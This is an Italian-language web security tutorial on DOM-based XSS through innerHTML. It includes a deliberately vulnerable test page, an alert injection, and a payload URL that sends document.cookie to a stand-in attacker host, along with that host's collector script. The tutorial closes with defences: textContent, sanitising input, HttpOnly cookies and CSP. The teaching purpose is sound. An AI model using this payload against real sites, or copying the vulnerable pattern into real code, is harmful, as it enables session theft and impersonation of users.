![]() |
Una delle vulnerabilità più diffuse e pericolose nello sviluppo web è la code injection, ossia la possibilità per un utente malintenzionato di inserire ed eseguire codice arbitrario all’interno di una pagina web.
Vediamo un esempio pratico di come un sito scritto con codice non sicuro possa permettere a un attaccante di rubare i cookie della sessione.
La pagina vulnerabile: test.html
Ecco una semplice pagina test.html che simula un sito qualunque:
<html>
<head>
</head>
<body>
<p>
Hello,<br>
<br>
Query param is
<span id="queryStringParamValue"></span>
</p>
</body>
<script>
// Simuliamo un cookie di sessione
document.cookie = "session=X123ABC890";
// Codice non sicuro
const urlParams = new URLSearchParams(window.location.search);
const myParam = urlParams.get('q');
document.getElementById("queryStringParamValue").innerHTML = myParam;
</script>
</html>
Scenario innocuo
URL:
https://mysite.com/test.html?q=hello
Risultato:
Il risultato sarà quello atteso ossia l'aggiunta della parola "hello" all'iterno della pagina
Hello,
Query param is hello
| Comportamento atteso |
📌 Diagramma del flusso di esecuzione del codice:
![]() |
Primo passo: iniezione di codice
Con questo URL:
https://mysite.com/test.html?q=<iframe src=javascript:alert('hello')>
il parametro q non è più solo testo: viene interpretato come codice e genera un popup alert('hello').
![]() |
| Semplice code iniettato |
📌 Diagramma del flusso di esecuzione del codice:
![]() |
L’attacco reale: furto dei cookie
URL malevolo:
https://mysite.com/test.html?q=<iframe src=javascript:window.location='https://attackersite.net/thief.html?c='+document.cookie>
In questo caso, il browser viene reindirizzato verso un sito dell’attaccante e gli invia i cookie della sessione:
![]() |
| Cookie rubati 😒 |
📌 Diagramma del furto cookie:
![]() |
La pagina dell’attaccante (thief.html) mostra o salva i cookie (in questo semplice esempio):
<script>
const urlParams = new URLSearchParams(window.location.search);
const cookieParam = urlParams.get('c');
document.write(cookieParam);
</script>
In questo modo l’attaccante può rubare i cookie della vittima e impersonarla sul sito vulnerabile.
Come proteggersi
Ecco alcune misure di difesa:
- Non usare
innerHTMLcon input non fidato
MegliotextContent:
Così il parametro viene mostrato come semplice testo, non come codice eseguibile.document.getElementById("queryStringParamValue").textContent = myParam; - Sanitizzare i dati
Codificare caratteri speciali (<, >, ", ') prima di inserirli nell'HTML. - Impostare cookie con flag
HttpOnly
Così non possono essere letti da JavaScript. - Content Security Policy (CSP)
Limita l’esecuzione di script non autorizzati e riduce la superficie di attacco.
Conclusione
Un piccolo errore — usare innerHTML con input non controllato — può aprire la strada a gravi vulnerabilità come il furto dei cookie di sessione.
Mai fidarsi dell’input utente: va sempre validato, filtrato e mostrato in modo sicuro.
Follow me #techelopment
Official site: www.techelopment.it
facebook: Techelopment
instagram: @techelopment
X: techelopment
Bluesky: @techelopment
telegram: @techelopment_channel
whatsapp: Techelopment
youtube: @techelopment





